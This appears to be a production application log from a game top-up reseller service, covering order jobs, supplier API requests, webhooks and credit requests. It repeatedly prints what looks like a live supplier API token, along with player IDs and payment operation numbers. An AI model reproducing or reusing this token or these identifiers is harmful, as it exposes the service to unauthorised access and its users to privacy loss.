[2026-03-24 13:26:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"count":2} 
[2026-03-24 13:26:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"count":2} 
[2026-03-24 13:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"user_id":30,"notification_type":"order_approved","reference_id":178663} 
[2026-03-24 13:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"user_id":30,"notification_type":"order_approved","reference_id":178662} 
[2026-03-24 13:26:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:26:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:26:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"processed":2,"errors":0} 
[2026-03-24 13:26:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585,"processed":2,"errors":0} 
[2026-03-24 13:26:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KchcxWeN1kl49Ot8E1vBuCxfDaRKvhyp","execution_time":"2026-03-24 13:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-L7R-1774347906","operation_id":163585} 
[2026-03-24 13:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 30  
[2026-03-24 13:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 30  
[2026-03-24 13:26:14] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"998.0","mainamount":"998","operation_number":"600430781696","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":""}},"user_id":620} 
[2026-03-24 13:26:48] production.INFO: SendAcceptReject: Notification queued {"user_id":1115,"notification_type":"order_approved","reference_id":178664} 
[2026-03-24 13:26:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1115  
[2026-03-24 13:27:13] production.INFO: Constructing job for order: 178665  
[2026-03-24 13:27:16] production.INFO: Handling job for order: 178665  
[2026-03-24 13:27:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:27:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:27:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=ce48726a-7a29-4053-95f8-0c21b5ba7ef5&Player_ID=52398054785  
[2026-03-24 13:27:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=ce48726a-7a29-4053-95f8-0c21b5ba7ef5&Player_ID=52398054785","has_body":false} 
[2026-03-24 13:27:17] production.INFO: Operation sent successfully {"operation_id":163587,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3t3fH-1774348036","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:27:17"}},"processed_data":{"order_number":"ORD-3t3fH-1774348036","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:27:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-3t3fH-1774348036","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:27:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-3t3fH-1774348036","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:27:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:27:28] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":178665} 
[2026-03-24 13:27:28] production.INFO: Order updated successfully. Order ID: 178665, Status: completed  
[2026-03-24 13:27:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-3t3fH-1774348036","status":"completed","codes_count":0} 
[2026-03-24 13:27:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 13:27:38] production.INFO: Constructing job for order: 178666  
[2026-03-24 13:27:41] production.INFO: Handling job for order: 178666  
[2026-03-24 13:27:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:27:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:27:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=073f281c-3d47-4cdc-87cb-d5c1ec2c132e&Player_ID=52292278063  
[2026-03-24 13:27:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=073f281c-3d47-4cdc-87cb-d5c1ec2c132e&Player_ID=52292278063","has_body":false} 
[2026-03-24 13:27:42] production.INFO: Operation sent successfully {"operation_id":163588,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0Ikvnh-1774348061","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:27:42"}},"processed_data":{"order_number":"ORD-0Ikvnh-1774348061","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:27:45] production.INFO: Constructing job for order: 178667  
[2026-03-24 13:27:48] production.INFO: Handling job for order: 178667  
[2026-03-24 13:27:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:27:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:27:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=20000&uuid=5d16cb09-1e7e-4e33-aa45-9822f8150ccd&Player_ID=589773308  
[2026-03-24 13:27:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=20000&uuid=5d16cb09-1e7e-4e33-aa45-9822f8150ccd&Player_ID=589773308","has_body":false} 
[2026-03-24 13:27:48] production.INFO: Operation sent successfully {"operation_id":163589,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wBS-1774348068","amount":2.03014999999999989910293152206577360630035400390625,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 13:27:48"}},"processed_data":{"order_number":"ORD-wBS-1774348068","amount":2.03014999999999989910293152206577360630035400390625,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 13:27:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0Ikvnh-1774348061","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:27:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-0Ikvnh-1774348061","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:27:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:27:55] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":178666} 
[2026-03-24 13:27:55] production.INFO: Order updated successfully. Order ID: 178666, Status: completed  
[2026-03-24 13:27:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0Ikvnh-1774348061","status":"completed","codes_count":0} 
[2026-03-24 13:27:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 13:28:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0CDdP2o65t6LaCa90OnxMc2mHHYyWe5k","execution_time":"2026-03-24 13:28:03"} 
[2026-03-24 13:28:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"0CDdP2o65t6LaCa90OnxMc2mHHYyWe5k","execution_time":"2026-03-24 13:28:03","total_operations":1,"sites_count":1} 
[2026-03-24 13:28:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0CDdP2o65t6LaCa90OnxMc2mHHYyWe5k","execution_time":"2026-03-24 13:28:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wBS-1774348068"]} 
[2026-03-24 13:28:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0CDdP2o65t6LaCa90OnxMc2mHHYyWe5k","execution_time":"2026-03-24 13:28:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:28:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0CDdP2o65t6LaCa90OnxMc2mHHYyWe5k","execution_time":"2026-03-24 13:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:28:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0CDdP2o65t6LaCa90OnxMc2mHHYyWe5k","execution_time":"2026-03-24 13:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wBS-1774348068","operation_id":163589} 
[2026-03-24 13:28:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0CDdP2o65t6LaCa90OnxMc2mHHYyWe5k","execution_time":"2026-03-24 13:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wBS-1774348068","operation_id":163589,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 13:28:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0CDdP2o65t6LaCa90OnxMc2mHHYyWe5k","execution_time":"2026-03-24 13:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wBS-1774348068","operation_id":163589,"processed":0,"errors":0} 
[2026-03-24 13:28:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"0CDdP2o65t6LaCa90OnxMc2mHHYyWe5k","execution_time":"2026-03-24 13:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wBS-1774348068","operation_id":163589} 
[2026-03-24 13:28:09] production.INFO: Constructing job for order: 178668  
[2026-03-24 13:28:10] production.INFO: Handling job for order: 178668  
[2026-03-24 13:28:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:28:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:28:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=50000&uuid=f72fa4aa-2f4d-483b-86d6-d7ccf37efd21&Player_ID=3088396  
[2026-03-24 13:28:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=50000&uuid=f72fa4aa-2f4d-483b-86d6-d7ccf37efd21&Player_ID=3088396","has_body":false} 
[2026-03-24 13:28:10] production.INFO: Operation sent successfully {"operation_id":163590,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-laJ8h-1774348090","amount":3.787594999999999600959199597127735614776611328125,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 13:28:10"}},"processed_data":{"order_number":"ORD-laJ8h-1774348090","amount":3.787594999999999600959199597127735614776611328125,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 13:28:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wBS-1774348068","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:28:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-wBS-1774348068","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:28:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:28:23] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":178667} 
[2026-03-24 13:28:23] production.INFO: Order updated successfully. Order ID: 178667, Status: completed  
[2026-03-24 13:28:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wBS-1774348068","status":"completed","codes_count":0} 
[2026-03-24 13:28:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 13:30:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CKMshKg4FodpSadhmEkZudcdhtsi2pZK","execution_time":"2026-03-24 13:30:02"} 
[2026-03-24 13:30:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CKMshKg4FodpSadhmEkZudcdhtsi2pZK","execution_time":"2026-03-24 13:30:02","total_operations":1,"sites_count":1} 
[2026-03-24 13:30:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CKMshKg4FodpSadhmEkZudcdhtsi2pZK","execution_time":"2026-03-24 13:30:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-laJ8h-1774348090"]} 
[2026-03-24 13:30:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CKMshKg4FodpSadhmEkZudcdhtsi2pZK","execution_time":"2026-03-24 13:30:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:30:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CKMshKg4FodpSadhmEkZudcdhtsi2pZK","execution_time":"2026-03-24 13:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CKMshKg4FodpSadhmEkZudcdhtsi2pZK","execution_time":"2026-03-24 13:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-laJ8h-1774348090","operation_id":163590} 
[2026-03-24 13:30:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CKMshKg4FodpSadhmEkZudcdhtsi2pZK","execution_time":"2026-03-24 13:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-laJ8h-1774348090","operation_id":163590,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 13:30:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CKMshKg4FodpSadhmEkZudcdhtsi2pZK","execution_time":"2026-03-24 13:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-laJ8h-1774348090","operation_id":163590,"processed":0,"errors":0} 
[2026-03-24 13:30:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CKMshKg4FodpSadhmEkZudcdhtsi2pZK","execution_time":"2026-03-24 13:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-laJ8h-1774348090","operation_id":163590} 
[2026-03-24 13:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:30:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:30:06] production.INFO: async() رجع: true  
[2026-03-24 13:30:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:30:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:30:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:30:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:30:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:30:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:30:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:30:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:30:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:30:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:30:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:30:12] production.INFO: Constructing job for order: 178669  
[2026-03-24 13:30:13] production.INFO: Handling job for order: 178669  
[2026-03-24 13:30:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:30:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:30:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=5bcc4555-6e1f-4bbf-97b9-fd631f4df4eb&Player_ID=13228893771  
[2026-03-24 13:30:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=5bcc4555-6e1f-4bbf-97b9-fd631f4df4eb&Player_ID=13228893771","has_body":false} 
[2026-03-24 13:30:14] production.INFO: Operation sent successfully {"operation_id":163591,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-VuXJQ-1774348214","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:30:14"}},"processed_data":{"order_number":"ORD-VuXJQ-1774348214","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:30:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-VuXJQ-1774348214","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:30:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-VuXJQ-1774348214","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:30:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:30:41] production.INFO: SendAcceptReject: Notification queued {"user_id":442,"notification_type":"order_approved","reference_id":178669} 
[2026-03-24 13:30:41] production.INFO: Order updated successfully. Order ID: 178669, Status: completed  
[2026-03-24 13:30:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-VuXJQ-1774348214","status":"completed","codes_count":0} 
[2026-03-24 13:30:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 442  
[2026-03-24 13:30:49] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"15.0","mainamount":"15","operation_number":"158191422","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpc106sl8cc899ccXnBXz"}},"user_id":312} 
[2026-03-24 13:30:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 13:30:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 13:30:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 13:30:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 13:30:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 13:30:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 13:30:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 13:30:50] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 13:30:50] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18614,"user_id":312,"amount":15.0,"admins_notified":7} 
[2026-03-24 13:31:16] production.INFO: Constructing job for order: 178670  
[2026-03-24 13:31:17] production.INFO: Handling job for order: 178670  
[2026-03-24 13:31:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:31:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:31:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7dd79438-1a18-4826-b8be-27d0f8ffc517&Player_ID=52358876035  
[2026-03-24 13:31:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7dd79438-1a18-4826-b8be-27d0f8ffc517&Player_ID=52358876035","has_body":false} 
[2026-03-24 13:31:18] production.INFO: Operation sent successfully {"operation_id":163592,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xkR-1774348277","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:31:18"}},"processed_data":{"order_number":"ORD-xkR-1774348277","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:31:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-laJ8h-1774348090","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:31:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-laJ8h-1774348090","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:31:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:31:26] production.INFO: SendAcceptReject: Notification queued {"user_id":43,"notification_type":"order_approved","reference_id":178668} 
[2026-03-24 13:31:26] production.INFO: Order updated successfully. Order ID: 178668, Status: completed  
[2026-03-24 13:31:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-laJ8h-1774348090","status":"completed","codes_count":0} 
[2026-03-24 13:31:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 13:31:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xkR-1774348277","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:31:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-xkR-1774348277","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:31:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:31:29] production.INFO: SendAcceptReject: Notification queued {"user_id":302,"notification_type":"order_approved","reference_id":178670} 
[2026-03-24 13:31:29] production.INFO: Order updated successfully. Order ID: 178670, Status: completed  
[2026-03-24 13:31:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xkR-1774348277","status":"completed","codes_count":0} 
[2026-03-24 13:31:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 302  
[2026-03-24 13:31:43] production.INFO: Constructing job for order: 178671  
[2026-03-24 13:31:45] production.INFO: Handling job for order: 178671  
[2026-03-24 13:31:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:31:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:31:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=a1f97734-7d96-4128-9280-1c110c169b1f&Player_ID=61150139035  
[2026-03-24 13:31:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=a1f97734-7d96-4128-9280-1c110c169b1f&Player_ID=61150139035","has_body":false} 
[2026-03-24 13:31:46] production.INFO: Operation sent successfully {"operation_id":163593,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9snNM5s-1774348305","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:31:46"}},"processed_data":{"order_number":"ORD-9snNM5s-1774348305","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:32:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TWL1J3n5EK5L687LRILvQiE6NUxUyutp","execution_time":"2026-03-24 13:32:04"} 
[2026-03-24 13:32:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TWL1J3n5EK5L687LRILvQiE6NUxUyutp","execution_time":"2026-03-24 13:32:04","total_operations":1,"sites_count":1} 
[2026-03-24 13:32:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TWL1J3n5EK5L687LRILvQiE6NUxUyutp","execution_time":"2026-03-24 13:32:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9snNM5s-1774348305"]} 
[2026-03-24 13:32:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TWL1J3n5EK5L687LRILvQiE6NUxUyutp","execution_time":"2026-03-24 13:32:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:32:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TWL1J3n5EK5L687LRILvQiE6NUxUyutp","execution_time":"2026-03-24 13:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TWL1J3n5EK5L687LRILvQiE6NUxUyutp","execution_time":"2026-03-24 13:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:32:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TWL1J3n5EK5L687LRILvQiE6NUxUyutp","execution_time":"2026-03-24 13:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 13:32:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TWL1J3n5EK5L687LRILvQiE6NUxUyutp","execution_time":"2026-03-24 13:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 13:32:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TWL1J3n5EK5L687LRILvQiE6NUxUyutp","execution_time":"2026-03-24 13:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:32:44] production.INFO: Constructing job for order: 178672  
[2026-03-24 13:32:46] production.INFO: Handling job for order: 178672  
[2026-03-24 13:32:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:32:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:32:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=106450d0-e245-4411-a0f8-c1af97b6f6be&Player_ID=52358876035  
[2026-03-24 13:32:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=106450d0-e245-4411-a0f8-c1af97b6f6be&Player_ID=52358876035","has_body":false} 
[2026-03-24 13:32:47] production.INFO: Operation sent successfully {"operation_id":163594,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Nug9FHe-1774348366","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:32:47"}},"processed_data":{"order_number":"ORD-Nug9FHe-1774348366","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:33:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Nug9FHe-1774348366","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:33:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-Nug9FHe-1774348366","status":"completed","codes":[],"notes":["__"]} 
